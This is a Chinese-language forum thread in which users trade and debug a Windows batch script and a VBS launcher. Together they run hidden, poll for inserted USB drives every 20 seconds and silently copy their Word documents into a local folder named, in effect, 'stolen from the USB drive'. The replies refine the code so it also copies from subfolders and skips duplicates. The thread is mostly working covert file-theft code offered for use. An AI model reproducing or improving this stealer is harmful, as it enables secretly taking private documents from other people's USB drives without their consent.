ithinkican

建议去掉代码中ping后面的部分
也就是ping……到exit

water0

你确定上述代码可以吗，我在我电脑上怎么显示应用程序错误，不得不关机

hanyeguxing

cmd中运行一下 wmic logicaldisk where DriveType=2 get DeviceID 看能不能看到u盘盘符，然后再运行一次批处理

water0

运行一下不行啊............

hanyeguxing

@echo off
start "" "隐藏运行.vbs"
set "n=E:\u盘那偷来的"
md "%n%" 2>nul
:a
for /f "skip=1" %%a in ('wmic logicaldisk where DriveType^=2 get DeviceID') do call:b %%a
>nul ping 127.1 -n 20
goto:a
:b
for /r "%1" %%a in (*.doc) do if not exist "%n%\%%~nxa" copy "%%a" "%n%">nul
复制代码

[ 本帖最后由 hanyeguxing 于 2010-12-26 14:42 编辑 ]

water0

这个好难啊。
不过给你弄了两个东东，不知道有么有用。

Set shell = Wscript.createobject("wscript.shell")
a = shell.run ("自动复制u盘东东.bat",0)

上面这个东西用记事本保存为 .vbs 格式的，取个名字叫“隐藏运行.vbs”吧，它可以让下面这个叫“自动复制u盘东东”的批处理文件隐藏运行。

@echo off
setlocal enabledelayedexpansion
for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
  for /f %%h in ('fsutil fsinfo drivetype %%a:^|findstr "Removable.* 可移动"') do (
    set DriveU=%%h
)
)
echo.!DriveU!
md E:\u盘那偷来的
if exist !DriveU! copy !DriveU!\*.doc E:\u盘那偷来的>nul 2>nul
ping 127.1 -n 20 >nul
start 隐藏运行.vbs
exit

这个东东了就保存为 .bat取个名字叫“自动复制u盘东东.bat” 就可以，它会自动查找u盘并且每20十秒就会搜索一遍u盘，复制以后是存在E盘的u盘那偷来的文件夹里面。


这两个东西结合起来应该可以解决问题。不过有个缺陷，已经复制过的doc文件它还会再复制。如果你能改进一下的话就好了，能的话告诉我一声哈。


这个是高手给的答案，但不能复制子文件夹里word文档，谁能够帮忙改一下